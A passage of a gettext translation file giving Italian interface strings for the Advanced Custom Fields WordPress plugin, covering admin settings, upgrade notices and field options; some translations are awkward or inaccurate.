msgid "Taxonomy Term"
msgstr "Termine Tassonomia"

#: admin/views/field-group-locations.php:28
msgid "Comment"
msgstr "Commento"

#: admin/views/field-group-locations.php:29
msgid "Widget"
msgstr "Widget"

#: admin/views/field-group-locations.php:41
msgid "Rules"
msgstr "Regole"

#: admin/views/field-group-locations.php:42
msgid ""
"Create a set of rules to determine which edit screens will use these "
"advanced custom fields"
msgstr ""
"Creare un insieme di regole per determinare quale schermate in modifica "
"dovranno utilizzare i campi personalizzati avanzati"

#: admin/views/field-group-locations.php:59
msgid "Show this field group if"
msgstr ""
"Mostra questo \n"
"Field Group\n"
" se"

#: admin/views/field-group-options.php:19
msgid "Style"
msgstr "Stile"

#: admin/views/field-group-options.php:26
msgid "Standard (WP metabox)"
msgstr "Standard (metabox WP)"

#: admin/views/field-group-options.php:27
msgid "Seamless (no metabox)"
msgstr "Senza giunte (senza metabox)"

#: admin/views/field-group-options.php:34
msgid "Position"
msgstr "Posizione"

#: admin/views/field-group-options.php:41
msgid "High (after title)"
msgstr "Alto (dopo il titolo)"

#: admin/views/field-group-options.php:42
msgid "Normal (after content)"
msgstr "Normale (dopo contenuto)"

#: admin/views/field-group-options.php:43
msgid "Side"
msgstr "A lato"

#: admin/views/field-group-options.php:51
msgid "Label placement"
msgstr "Posizionamento etichette"

#: admin/views/field-group-options.php:58 fields/tab.php:117
msgid "Top aligned"
msgstr "Allineamento in alto"

#: admin/views/field-group-options.php:59 fields/tab.php:118
msgid "Left Aligned"
msgstr "Allineamento a sinistra"

#: admin/views/field-group-options.php:66
msgid "Instruction placement"
msgstr "Posizionamento Istruzione"

#: admin/views/field-group-options.php:73
msgid "Below labels"
msgstr "Sotto etichette"

#: admin/views/field-group-options.php:74
msgid "Below fields"
msgstr "Sotto campi"

#: admin/views/field-group-options.php:81
msgid "Order No."
msgstr "Numero Ordinamento"

#: admin/views/field-group-options.php:82
msgid "Field groups with a lower order will appear first"
msgstr ""
"Field groups come inizialmente viene visualizzato in un ordine inferiore"

#: admin/views/field-group-options.php:93
msgid "Shown in field group list"
msgstr "Mostrato in lista field group"

#: admin/views/field-group-options.php:103
msgid "Hide on screen"
msgstr "Nascondi nello schermo"

#: admin/views/field-group-options.php:104
msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
msgstr ""
"<b>Seleziona</b> gli elementi per <b>nasconderli</b> dalla pagina Modifica."

#: admin/views/field-group-options.php:104
msgid ""
"If multiple field groups appear on an edit screen, the first field group's "
"options will be used (the one with the lowest order number)"
msgstr ""
"Se più gruppi di campi appaiono su una schermata di modifica, verranno usate "
"le opzioni del primo Field Group usato (quello con il numero d'ordine più "
"basso)"

#: admin/views/field-group-options.php:111
msgid "Permalink"
msgstr "Permalink"

#: admin/views/field-group-options.php:112
msgid "Content Editor"
msgstr "Editor Contenuto"

#: admin/views/field-group-options.php:113
msgid "Excerpt"
msgstr "Estratto"

#: admin/views/field-group-options.php:115
msgid "Discussion"
msgstr "Discussione"

#: admin/views/field-group-options.php:116
msgid "Comments"
msgstr "Commenti"

#: admin/views/field-group-options.php:117
msgid "Revisions"
msgstr "Revisioni"

#: admin/views/field-group-options.php:118
msgid "Slug"
msgstr "Slug"

#: admin/views/field-group-options.php:119
msgid "Author"
msgstr "Autore"

#: admin/views/field-group-options.php:120
msgid "Format"
msgstr "Formato"

#: admin/views/field-group-options.php:121
msgid "Page Attributes"
msgstr "Atrributi Pagina"

#: admin/views/field-group-options.php:122 fields/relationship.php:756
msgid "Featured Image"
msgstr "Immagine di presentazione"

#: admin/views/field-group-options.php:123
msgid "Categories"
msgstr "Categorie"

#: admin/views/field-group-options.php:124
msgid "Tags"
msgstr "Tag"

#: admin/views/field-group-options.php:125
msgid "Send Trackbacks"
msgstr "Invia Trackbacks"

#: admin/views/install-network.php:4
msgid "Upgrade Sites"
msgstr "Aggiornamento siti"

#: admin/views/install-network.php:13 admin/views/install.php:8
msgid "Advanced Custom Fields Database Upgrade"
msgstr ""
"Aggiornamento Database \n"
"Advanced Custom Fields"

#: admin/views/install-network.php:15
#, php-format
msgid ""
"The following sites require a DB upgrade. Check the ones you want to update "
"and then click %s."
msgstr ""
"I seguenti siti hanno necessità di un aggiornamento del DB. Controlla quelli "
"che vuoi aggiornare e clicca %s."

#: admin/views/install-network.php:24 admin/views/install-network.php:32
msgid "Site"
msgstr "Sito"

#: admin/views/install-network.php:52
#, php-format
msgid "Site requires database upgrade from %s to %s"
msgstr "Il sito necessita di un aggiornamento Database da %s a %s"

#: admin/views/install-network.php:54
msgid "Site is up to date"
msgstr "Il sito è aggiornato"

#: admin/views/install-network.php:67
#, php-format
msgid ""
"Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
msgstr ""
"Aggiornamento Database completato. <a href=\"%s\">Ritorna alla Network "
"Dashboard</a>"

#: admin/views/install-network.php:106 admin/views/install-notice.php:35
msgid ""
"It is strongly recommended that you backup your database before proceeding. "
"Are you sure you wish to run the updater now?"
msgstr ""
"Si raccomanda vivamente di eseguire il backup del database prima di "
"procedere. Sei sicuro che si desidera eseguire il programma di aggiornamento "
"adesso?"

#: admin/views/install-network.php:162
msgid "Upgrade complete"
msgstr "Aggiornamento completato"

#: admin/views/install-network.php:166 admin/views/install.php:14
#, php-format
msgid "Upgrading data to version %s"
msgstr "Aggiornamento dati alla versione %s"

#: admin/views/install-notice.php:23
msgid "Database Upgrade Required"
msgstr "Aggiornamento Database richiesto"

#: admin/views/install-notice.php:25
#, php-format
msgid "Thank you for updating to %s v%s!"
msgstr "Grazie per aver aggiornato a %s v%s!"

#: admin/views/install-notice.php:25
msgid ""
"Before you start using the new awesome features, please update your database "
"to the newest version."
msgstr ""
"Prima di iniziare ad utilizzare queste nuove fantastiche funzionalità, "
"aggiorna il tuo Database alla versione più attuale."

#: admin/views/install.php:12
msgid "Reading upgrade tasks..."
msgstr "Lettura attività di aggiornamento ..."

#: admin/views/install.php:16
#, php-format
msgid "Database Upgrade complete. <a href=\"%s\">See what's new</a>"
msgstr ""
"Aggiornamento del database completato. <a href=\"%s\">Guarda le novità</a>"

#: admin/views/settings-addons.php:23
msgid "Download & Install"
msgstr "Scarica & Installa"

#: admin/views/settings-addons.php:42
msgid "Installed"
msgstr "Installato"

#: admin/views/settings-info.php:9
msgid "Welcome to Advanced Custom Fields"
msgstr "Benvenuto in Advanced Custom Fields"

#: admin/views/settings-info.php:10
#, php-format
msgid ""
"Thank you for updating! ACF %s is bigger and better than ever before. We "
"hope you like it."
msgstr ""
"Grazie per l'aggiornamento! ACF %s è più grande e migliore che mai. Speriamo "
"che vi piaccia."

#: admin/views/settings-info.php:23
msgid "A smoother custom field experience"
msgstr "Campi Personalizzati come non li avete mai visti"

#: admin/views/settings-info.php:28
msgid "Improved Usability"
msgstr "Migliorata Usabilità"

#: admin/views/settings-info.php:29
msgid ""
"Including the popular Select2 library has improved both usability and speed "
"across a number of field types including post object, page link, taxonomy "
"and select."
msgstr ""
"Inclusa la famosa biblioteca Select2, che ha migliorato sia l'usabilità, che "
"la velocità di Campi come Post, Link, Tassonomie e Select."

#: admin/views/settings-info.php:33
msgid "Improved Design"
msgstr "Miglioramento del Design"

#: admin/views/settings-info.php:34
msgid ""
"Many fields have undergone a visual refresh to make ACF look better than "
"ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
"(new) fields!"
msgstr ""
"Molti Campi hanno subito un aggiornamento visivo per rendere ACF un aspetto "
"migliore che mai! Notevoli cambiamenti li trovate nei Campi Gallery, "
"Relazioni e oEmbed (nuovo)!"

#: admin/views/settings-info.php:38
msgid "Improved Data"
msgstr "Miglioramento dei dati"

#: admin/views/settings-info.php:39
msgid ""
"Redesigning the data architecture has allowed sub fields to live "
"independently from their parents. This allows you to drag and drop fields in "
"and out of parent fields!"
msgstr ""
"Ridisegnare l'architettura dei dati ha permesso ai Sotto-Campi di vivere in "
"modo indipendente dai loro Genitori. Ciò consente di trascinare e rilasciare "
"i Campi dentro e fuori i Campi Genitore!"

#: admin/views/settings-info.php:45
msgid "Goodbye Add-ons. Hello PRO"
msgstr "Ciao, ciao Add-ons. Benvenuto PRO"

#: admin/views/settings-info.php:50
msgid "Introducing ACF PRO"
msgstr "Introduzione ACF PRO"

#: admin/views/settings-info.php:51
msgid ""
"We're changing the way premium functionality is delivered in an exciting way!"
msgstr "Stiamo cambiando in modo eccitante le funzionalità Premium!"

#: admin/views/settings-info.php:52
#, php-format
msgid ""
"All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
"version of ACF</a>. With both personal and developer licenses available, "
"premium functionality is more affordable and accessible than ever before!"
msgstr ""
"Parallelamente ACF5 è la versione tutta nuova di <a href=\"%s\">ACF5 PRO</"
"a>! Questa versione PRO include tutti e 4 i componenti aggiuntivi premium "
"(Repeater, Gallery, Flexible Content e Pagina Opzioni) e con le licenze "
"personali e di sviluppo disponibili, funzionalità premium è più conveniente "
"che mai!"

#: admin/views/settings-info.php:56
msgid "Powerful Features"
msgstr "Potenti funzionalità"

#: admin/views/settings-info.php:57
msgid ""
"ACF PRO contains powerful features such as repeatable data, flexible content "
"layouts, a beautiful gallery field and the ability to create extra admin "
"options pages!"
msgstr ""
"ACF PRO contiene caratteristiche impressionanti come i Campi Repeater, "
"Flexible Layout, Gallery e la possibilità di creare Options Page (pagine "
"opzioni di amministrazione) personalizzabili!"

#: admin/views/settings-info.php:58
#, php-format
msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
msgstr "Scopri di più sulle <a href=\"%s\">funzionalità di ACF PRO</a>."

#: admin/views/settings-info.php:62
msgid "Easy Upgrading"
msgstr "Aggiornamento facile"

#: admin/views/settings-info.php:63
#, php-format
msgid ""
"To help make upgrading easy, <a href=\"%s\">login to your store account</a> "
"and claim a free copy of ACF PRO!"
msgstr ""
"Per rendere più semplice gli aggiornamenti, \n"
"<a href=\"%s\">accedi al tuo account</a> e richiedi una copia gratuita di "
"ACF PRO!"

#: admin/views/settings-info.php:64
#, php-format
msgid ""
"We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, "
"but if you do have one, please contact our support team via the <a href=\"%s"
"\">help desk</a>"
msgstr ""
"Abbiamo inoltre scritto una <a href=\"%s\">guida all'aggiornamento</a> per "
"rispondere alle vostre richieste, ma se ne avete di nuove, contattate il "
"nostro <a href=\"%s\">help desk</a>"

#: admin/views/settings-info.php:72
msgid "Under the Hood"
msgstr "Sotto il cofano"

#: admin/views/settings-info.php:77
msgid "Smarter field settings"
msgstr "Impostazioni dei Campi più intelligenti"

#: admin/views/settings-info.php:78
msgid "ACF now saves its field settings as individual post objects"
msgstr "ACF ora salva le impostazioni dei Campi come oggetti Post individuali"

#: admin/views/settings-info.php:82
msgid "More AJAX"
msgstr "Più AJAX"

#: admin/views/settings-info.php:83
msgid "More fields use AJAX powered search to speed up page loading"
msgstr ""
"Altri campi utilizzano la ricerca di AJAX per velocizzare il caricamento "
"della pagina"

#: admin/views/settings-info.php:87
msgid "Local JSON"
msgstr "JSON locale"

#: admin/views/settings-info.php:88
msgid "New auto export to JSON feature improves speed"
msgstr ""
"Nuovo esportazione automatica di funzionalità JSON migliora la velocità"

#: admin/views/settings-info.php:94
msgid "Better version control"
msgstr "Migliore versione di controllo"

#: admin/views/settings-info.php:95
msgid ""
"New auto export to JSON feature allows field settings to be version "
"controlled"
msgstr ""
"Nuova esportazione automatica di funzione JSON consente impostazioni dei "
"campi da versione controllati"

#: admin/views/settings-info.php:99
msgid "Swapped XML for JSON"
msgstr "XML scambiato per JSON"

#: admin/views/settings-info.php:100
msgid "Import / Export now uses JSON in favour of XML"
msgstr "Importa / Esporta ora utilizza JSON a favore di XML"

#: admin/views/settings-info.php:104
msgid "New Forms"
msgstr "Nuovi Forme"

#: admin/views/settings-info.php:105
msgid "Fields can now be mapped to comments, widgets and all user forms!"
msgstr ""
"I campi possono essere mappati con i commenti, widget e tutte le forme degli "
"utenti!"

#: admin/views/settings-info.php:112
msgid "A new field for embedding content has been added"
msgstr "È stato aggiunto un nuovo campo per incorporare contenuti"

#: admin/views/settings-info.php:116
msgid "New Gallery"
msgstr "Nuova Galleria"

#: admin/views/settings-info.php:117
msgid "The gallery field has undergone a much needed facelift"
msgstr "Il campo galleria ha subito un lifting tanto necessario"

#: admin/views/settings-info.php:121
msgid "New Settings"
msgstr "Nuove Impostazioni"

#: admin/views/settings-info.php:122
msgid ""
"Field group settings have been added for label placement and instruction "
"placement"
msgstr ""
"Sono state aggiunte impostazioni di gruppo sul Campo per l'inserimento "
"dell'etichetta e il posizionamento di istruzioni"

#: admin/views/settings-info.php:128
msgid "Better Front End Forms"
msgstr "Forme Anteriori migliori"

#: admin/views/settings-info.php:129
msgid "acf_form() can now create a new post on submission"
msgstr "acf_form() può ora creare un nuovo post di presentazione"

#: admin/views/settings-info.php:133
msgid "Better Validation"
msgstr "Validazione Migliore"

#: admin/views/settings-info.php:134
msgid "Form validation is now done via PHP + AJAX in favour of only JS"
msgstr ""
"Validazione del form ora avviene tramite PHP + AJAX in favore del solo JS"

#: admin/views/settings-info.php:138
msgid "Relationship Field"
msgstr "Campo Relazione"

#: admin/views/settings-info.php:139
msgid ""
"New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
msgstr ""
"Nuove Impostazione Campo Relazione per i 'Filtri' (Ricerca, Tipo di Post, "
"Tassonomia)"

#: admin/views/settings-info.php:145
msgid "Moving Fields"
msgstr "Spostamento Campi"

#: admin/views/settings-info.php:146
msgid ""
"New field group functionality allows you to move a field between groups & "
"parents"
msgstr ""
"La nuova funzionalità di Field Group consente di spostare un campo tra i "
"gruppi e genitori"

#: admin/views/settings-info.php:150 fields/page_link.php:36
msgid "Page Link"
msgstr "Link Pagina"

#: admin/views/settings-info.php:151
msgid "New archives group in page_link field selection"
msgstr "Nuovo gruppo archivi in materia di selezione page_link"

#: admin/views/settings-info.php:155
msgid "Better Options Pages"
msgstr "Migliori Pagine Opzioni"

#: admin/views/settings-info.php:156
msgid ""
"New functions for options page allow creation of both parent and child menu "
"pages"
msgstr ""
"Nuove funzioni per la Pagina Opzioni consentono la creazione di pagine menu "
"genitore e figlio"

#: admin/views/settings-info.php:165
#, php-format
msgid "We think you'll love the changes in %s."
msgstr "Pensiamo che amerete i cambiamenti in %s."

#: admin/views/settings-tools-export.php:27
msgid "Export Field Groups to PHP"
msgstr ""
"Esporta \n"
"Field Group\n"
" di PHP"

#: admin/views/settings-tools-export.php:31
msgid ""
"The following code can be used to register a local version of the selected "
"field group(s). A local field group can provide many benefits such as faster "
"load times, version control & dynamic fields/settings. Simply copy and paste "
"the following code to your theme's functions.php file or include it within "
"an external file."
msgstr ""
"Il codice seguente può essere utilizzato per registrare una versione locale "
"del Field Group selezionato(i). Un \n"
"Field Group\n"
" locale può fornire numerosi vantaggi come ad esempio i tempi di caricamento "
"più veloci, controllo di versione e campi / impostazioni dinamiche. "
"Semplicemente copia e incolla il seguente codice nel file functions.php del "
"vostro tema"

#: admin/views/settings-tools.php:5
msgid "Select Field Groups"
msgstr ""
"Cerca \n"
"Field Group"

#: admin/views/settings-tools.php:35
msgid "Export Field Groups"
msgstr ""
"Esporta \n"
"Field Group"

#: admin/views/settings-tools.php:38
msgid ""
"Select the field groups you would like to export and then select your export "
"method. Use the download button to export to a .json file which you can then "
"import to another ACF installation. Use the generate button to export to PHP "
"code which you can place in your theme."
msgstr ""
"Selezionare i \n"
"Field Group\n"
" che si desidera esportare e quindi selezionare il metodo di esportazione. "
"Utilizzare il pulsante di download per esportare in un file .json che sarà "
"poi possibile importare in un'altra installazione ACF. Utilizzare il "
"pulsante generare per esportare il codice PHP che è possibile inserire nel "
"vostro tema."

#: admin/views/settings-tools.php:50
msgid "Download export file"
msgstr "Scarica file di esportazione"

#: admin/views/settings-tools.php:51
msgid "Generate export code"
msgstr "Generare codice di esportazione"

#: admin/views/settings-tools.php:64
msgid "Import Field Groups"
msgstr ""
"Importa \n"
"Field Group"

#: admin/views/settings-tools.php:67
msgid ""
"Select the Advanced Custom Fields JSON file you would like to import. When "
"you click the import button below, ACF will import the field groups."
msgstr ""
"Selezionare il file JSON di Advanced Custom Fields che si desidera "
"importare. Quando si fa clic sul pulsante di importazione di seguito, ACF "
"importerà i \n"
"Field Group\n"
"."

#: admin/views/settings-tools.php:77 fields/file.php:46
msgid "Select File"
msgstr "Seleziona File"

#: admin/views/settings-tools.php:86
msgid "Import"
msgstr "Importa"

#: api/api-helpers.php:881
msgid "Thumbnail"
msgstr "Thumbnail"

#: api/api-helpers.php:882
msgid "Medium"
msgstr "Medio"

#: api/api-helpers.php:883
msgid "Large"
msgstr "Grande"

#: api/api-helpers.php:932
msgid "Full Size"
msgstr "Dimensione piena"

#: api/api-helpers.php:1189 api/api-helpers.php:1739 pro/fields/clone.php:1002
msgid "(no title)"
msgstr "(nessun titolo)"

#: api/api-helpers.php:1776 fields/page_link.php:284
#: fields/post_object.php:283 fields/taxonomy.php:988
msgid "Parent"
msgstr "Genitore"

#: api/api-helpers.php:3784
#, php-format
msgid "Image width must be at least %dpx."
msgstr "La larghezza dell'immagine deve essere di almeno %dpx."

#: api/api-helpers.php:3789
#, php-format
msgid "Image width must not exceed %dpx."
msgstr "La larghezza dell'immagine non deve superare i %dpx."

#: api/api-helpers.php:3805
#, php-format
msgid "Image height must be at least %dpx."
msgstr "L'altezza dell'immagine deve essere di almeno %dpx."

#: api/api-helpers.php:3810
#, php-format
msgid "Image height must not exceed %dpx."
msgstr "L'altezza dell'immagine non deve superare i %dpx."

#: api/api-helpers.php:3828
#, php-format
msgid "File size must be at least %s."
msgstr "La dimensione massima deve essere di almeno %s."

#: api/api-helpers.php:3833
#, php-format
msgid "File size must must not exceed %s."
msgstr "La dimensione massima non deve superare i %s."

#: api/api-helpers.php:3867
#, php-format
msgid "File type must be %s."
msgstr "La tipologia del File deve essere %s."

#: api/api-template.php:1027 core/field.php:327
msgid "Content"
msgstr "Contenuto"

#: api/api-template.php:1035
msgid "Validate Email"
msgstr "Valida Email"

#: api/api-template.php:1085
msgid "Spam Detected"
msgstr "Spam Rilevato"

#: api/api-template.php:1288 pro/api/api-options-page.php:50
#: pro/fields/gallery.php:588
msgid "Update"
msgstr "Aggiorna"

#: api/api-template.php:1289
msgid "Post updated"
msgstr "Post aggiornato"

#: core/field.php:326
msgid "Basic"
msgstr "Base"

#: core/field.php:328
msgid "Choice"
msgstr "Scegli"

#: core/field.php:329
msgid "Relational"
msgstr "Relazionale"

#: core/field.php:330
msgid "jQuery"
msgstr "jQuery"

#: core/field.php:331 fields/checkbox.php:281 fields/radio.php:292
#: pro/fields/clone.php:849 pro/fields/flexible-content.php:571
#: pro/fields/flexible-content.php:620 pro/fields/repeater.php:506
msgid "Layout"
msgstr "Layout"

#: core/input.php:258
msgid "Expand Details"
msgstr "Espandi Dettagli"

#: core/input.php:259
msgid "Collapse Details"
msgstr "Chiudi Dettagli"

#: core/input.php:260
msgid "Validation successful"
msgstr "Validazione avvenuta con successo"

#: core/input.php:261 core/validation.php:322 forms/widget.php:234
msgid "Validation failed"
msgstr "Validazione fallita"

#: core/input.php:262
msgid "1 field requires attention"
msgstr "1 Campo necessita di attenzioni"

#: core/input.php:263
#, php-format
msgid "%d fields require attention"
msgstr "%d Campi necessitano di attenzioni"

#: core/input.php:264
msgid "Restricted"
msgstr "Limitato"

#: core/media.php:54 fields/select.php:265
msgctxt "verb"
msgid "Select"
msgstr "Seleziona"

#: core/media.php:55
msgctxt "verb"
msgid "Edit"
msgstr "Modifica"

#: core/media.php:56
msgctxt "verb"
msgid "Update"
msgstr "Aggiorna"

#: core/media.php:57 fields/file.php:49 fields/image.php:54
#: pro/fields/gallery.php:55
msgid "Uploaded to this post"
msgstr "Caricato in questo Post"

#: core/validation.php:207
#, php-format
msgid "%s value is required"
msgstr "Il valore %s è richiesto"

#: fields/checkbox.php:36 fields/taxonomy.php:782
msgid "Checkbox"
msgstr "Checkbox"

#: fields/checkbox.php:145
msgid "Toggle All"
msgstr "Seleziona tutti"

#: fields/checkbox.php:202
msgid "Add new choice"
msgstr "Aggiungi nuova scelta"

#: fields/checkbox.php:241 fields/radio.php:242 fields/select.php:463
msgid "Choices"
msgstr "Scelte"

#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "Enter each choice on a new line."
msgstr "Immettere ogni scelta su una nuova linea."

#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "For more control, you may specify both a value and label like this:"
msgstr ""
"Per un maggiore controllo, è possibile specificare sia un valore ed "
"etichetta in questo modo:"

#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "red : Red"
msgstr "rosso : Rosso"

#: fields/checkbox.php:250
msgid "Allow Custom"
msgstr "Consenti Personalizzato"

#: fields/checkbox.php:255
msgid "Allow 'custom' values to be added"
msgstr "Consenti valori 'personalizzati' da aggiungere"

#: fields/checkbox.php:261
msgid "Save Custom"
msgstr "Salva Personalizzato"

#: fields/checkbox.php:266
msgid "Save 'custom' values to the field's choices"
msgstr "Salvare i valori 'personalizzati' per le scelte del campo"

#: fields/checkbox.php:272 fields/color_picker.php:147 fields/email.php:133
#: fields/number.php:145 fields/radio.php:283 fields/select.php:472
#: fields/text.php:142 fields/textarea.php:139 fields/true_false.php:150
#: fields/url.php:114 fields/wysiwyg.php:445
msgid "Default Value"
msgstr "Valore di default"

#: fields/checkbox.php:273 fields/select.php:473
msgid "Enter each default value on a new line"
msgstr "Immettere ogni valore di default su una nuova linea"

#: fields/checkbox.php:287 fields/radio.php:298
msgid "Vertical"
msgstr "Verticale"

#: fields/checkbox.php:288 fields/radio.php:299
msgid "Horizontal"
msgstr "Orizzontale"

#: fields/checkbox.php:295
msgid "Toggle"
msgstr "Toggle"

#: fields/checkbox.php:296
msgid "Prepend an extra checkbox to toggle all choices"
msgstr "Inserisci un Checkbox extra per poter selezionare tutte le opzioni "

#: fields/checkbox.php:305 fields/file.php:222 fields/image.php:208
#: fields/radio.php:306 fields/taxonomy.php:835
msgid "Return Value"
msgstr "Valore di ritorno"

#: fields/checkbox.php:306 fields/file.php:223 fields/image.php:209
#: fields/radio.php:307
msgid "Specify the returned value on front end"
msgstr "Specificare il valore restituito sul front-end"

#: fields/checkbox.php:311 fields/radio.php:312 fields/select.php:527
msgid "Value"
msgstr "Valore"

#: fields/checkbox.php:313 fields/radio.php:314 fields/select.php:529
msgid "Both (Array)"
msgstr "Entrambi (Array)"

#: fields/color_picker.php:36
msgid "Color Picker"
msgstr "Selettore colore"

#: fields/color_picker.php:83
msgid "Clear"
msgstr "Chiaro"

#: fields/color_picker.php:84
msgid "Default"
msgstr "Default"

#: fields/color_picker.php:85
msgid "Select Color"
msgstr "Seleziona colore"

#: fields/color_picker.php:86
msgid "Current Color"
msgstr "Colore Corrente"

#: fields/date_picker.php:36
msgid "Date Picker"
msgstr "Selettore data"

#: fields/date_picker.php:44
msgctxt "Date Picker JS closeText"
msgid "Done"
msgstr "Fatto"

#: fields/date_picker.php:45
msgctxt "Date Picker JS currentText"
msgid "Today"
msgstr "Oggi"

#: fields/date_picker.php:46
msgctxt "Date Picker JS nextText"
msgid "Next"
msgstr "Prossimo"

#: fields/date_picker.php:47
msgctxt "Date Picker JS prevText"
msgid "Prev"
msgstr "Precedente"

#: fields/date_picker.php:48
msgctxt "Date Picker JS weekHeader"
msgid "Wk"
msgstr "Sett"

#: fields/date_picker.php:197 fields/date_time_picker.php:186
#: fields/time_picker.php:126
msgid "Display Format"
msgstr "Formato di visualizzazione"

#: fields/date_picker.php:198 fields/date_time_picker.php:187
#: fields/time_picker.php:127
msgid "The format displayed when editing a post"
msgstr "Il formato visualizzato durante la modifica di un post"

#: fields/date_picker.php:212 fields/date_time_picker.php:202
#: fields/post_object.php:447 fields/relationship.php:783
#: fields/select.php:522 fields/time_picker.php:140
msgid "Return Format"
msgstr "Formato di ritorno"

#: fields/date_picker.php:213 fields/date_time_picker.php:203
#: fields/time_picker.php:141
msgid "The format returned via template functions"
msgstr "Il formato restituito tramite funzioni template"

#: fields/date_picker.php:231
msgid "Save Format"
msgstr "Salva Formato"

#: fields/date_picker.php:232
msgid "The format used when saving a value"
msgstr "Il formato utilizzato durante il salvataggio di un valore"

#: fields/date_picker.php:243 fields/date_time_picker.php:218
msgid "Week Starts On"
msgstr "La settimana inizia il"

#: fields/date_time_picker.php:36
msgid "Date Time Picker"
msgstr "Selettore data/ora"

#: fields/date_time_picker.php:44
msgctxt "Date Time Picker JS timeOnlyTitle"
msgid "Choose Time"
msgstr "Scegli tempo"

#: fields/date_time_picker.php:45
msgctxt "Date Time Picker JS timeText"
msgid "Time"
msgstr "Orario"

#: fields/date_time_picker.php:46
msgctxt "Date Time Picker JS hourText"
msgid "Hour"
msgstr "Ore"

#: fields/date_time_picker.php:47
msgctxt "Date Time Picker JS minuteText"
msgid "Minute"
msgstr "Minuto"

#: fields/date_time_picker.php:48
msgctxt "Date Time Picker JS secondText"
msgid "Second"
msgstr "Secondo"

#: fields/date_time_picker.php:49
msgctxt "Date Time Picker JS millisecText"
msgid "Millisecond"
msgstr "Millisecondo"

#: fields/date_time_picker.php:50
msgctxt "Date Time Picker JS microsecText"
msgid "Microsecond"
msgstr "Microsecondo"

#: fields/date_time_picker.php:51
msgctxt "Date Time Picker JS timezoneText"
msgid "Time Zone"
msgstr "Fuso orario"

#: fields/date_time_picker.php:52
msgctxt "Date Time Picker JS currentText"
msgid "Now"
msgstr "Ora"

#: fields/date_time_picker.php:53
msgctxt "Date Time Picker JS closeText"
msgid "Done"
msgstr "Fatto"

#: fields/date_time_picker.php:54
msgctxt "Date Time Picker JS selectText"
msgid "Select"
msgstr "Seleziona"

#: fields/date_time_picker.php:56
msgctxt "Date Time Picker JS amText"
msgid "AM"
msgstr "AM"

#: fields/date_time_picker.php:57
msgctxt "Date Time Picker JS amTextShort"
msgid "A"
msgstr "A"

#: fields/date_time_picker.php:60
msgctxt "Date Time Picker JS pmText"
msgid "PM"
msgstr "PM"

#: fields/date_time_picker.php:61
msgctxt "Date Time Picker JS pmTextShort"
msgid "P"
msgstr "P"

#: fields/email.php:36
msgid "Email"
msgstr "Email"

#: fields/email.php:134 fields/number.php:146 fields/radio.php:284
#: fields/text.php:143 fields/textarea.php:140 fields/url.php:115
#: fields/wysiwyg.php:446
msgid "Appears when creating a new post"
msgstr "Appare quando si crea un nuovo post"

#: fields/email.php:142 fields/number.php:154 fields/password.php:134
#: fields/text.php:151 fields/textarea.php:148 fields/url.php:123
msgid "Placeholder Text"
msgstr "Testo segnaposto"

#: fields/email.php:143 fields/number.php:155 fields/password.php:135
#: fields/text.php:152 fields/textarea.php:149 fields/url.php:124
msgid "Appears within the input"
msgstr "Appare nella finestra di input"

#: fields/email.php:151 fields/number.php:163 fields/password.php:143
#: fields/text.php:160
msgid "Prepend"
msgstr "Anteponi"

#: fields/email.php:152 fields/number.php:164 fields/password.php:144
#: fields/text.php:161
msgid "Appears before the input"
msgstr "Appare prima dell'input"

#: fields/email.php:160 fields/number.php:172 fields/password.php:152
#: fields/text.php:169
msgid "Append"
msgstr "Accodare"

#: fields/email.php:161 fields/number.php:173 fields/password.php:153
#: fields/text.php:170
msgid "Appears after the input"
msgstr "Accodare dopo l'input"

#: fields/file.php:36
msgid "File"
msgstr "File "

#: fields/file.php:47
msgid "Edit File"
msgstr "Modifica File"

#: fields/file.php:48
msgid "Update File"
msgstr "Aggiorna File"

#: fields/file.php:148
msgid "File name"
msgstr "Nome file"

#: fields/file.php:152 fields/file.php:255 fields/file.php:266
#: fields/image.php:270 fields/image.php:303 pro/fields/gallery.php:707
#: pro/fields/gallery.php:740
msgid "File size"
msgstr "Dimensione File"

#: fields/file.php:177
msgid "Add File"
msgstr "Aggiungi file"

#: fields/file.php:228
msgid "File Array"
msgstr "File Array"

#: fields/file.php:229
msgid "File URL"
msgstr "File URL"

#: fields/file.php:230
msgid "File ID"
msgstr "File ID"

#: fields/file.php:237 fields/image.php:233 pro/fields/gallery.php:670
msgid "Library"
msgstr "Libreria"

#: fields/file.php:238 fields/image.php:234 pro/fields/gallery.php:671
msgid "Limit the media library choice"
msgstr "Limitare la scelta alla libreria multimediale"

#: fields/file.php:244 fields/image.php:240 pro/fields/gallery.php:677
msgid "Uploaded to post"
msgstr "Caricato al post"

#: fields/file.php:251 fields/image.php:247 pro/fields/gallery.php:684
msgid "Minimum"
msgstr "Minimo"

#: fields/file.php:252 fields/file.php:263
msgid "Restrict which files can be uploaded"
msgstr "Limita i tipi di File che possono essere caricati"

#: fields/file.php:262 fields/image.php:280 pro/fields/gallery.php:717
msgid "Maximum"
msgstr "Massimo"

#: fields/file.php:273 fields/image.php:313 pro/fields/gallery.php:750
msgid "Allowed file types"
msgstr "Tipologie File permesse"

#: fields/file.php:274 fields/image.php:314 pro/fields/gallery.php:751
msgid "Comma separated list. Leave blank for all types"
msgstr "Lista separata da virgole. Lascia bianco per tutti i tipi"

#: fields/google-map.php:36
msgid "Google Map"
msgstr "Google Map"

#: fields/google-map.php:51
msgid "Locating"
msgstr "Localizzazione"

#: fields/google-map.php:52
msgid "Sorry, this browser does not support geolocation"
msgstr "Spiacente, questo browser non supporta la geolocalizzazione"

#: fields/google-map.php:133
msgid "Clear location"
msgstr "Pulisci posizione"

#: fields/google-map.php:134
msgid "Find current location"
msgstr "Trova posizione corrente"

#: fields/google-map.php:137
msgid "Search for address..."
msgstr "Cerca per indirizzo..."

#: fields/google-map.php:167 fields/google-map.php:178
msgid "Center"
msgstr "Centro"

#: fields/google-map.php:168 fields/google-map.php:179
msgid "Center the initial map"
msgstr "Centrare la mappa iniziale"

#: fields/google-map.php:192
msgid "Zoom"
msgstr "Zoom"

#: fields/google-map.php:193
msgid "Set the initial zoom level"
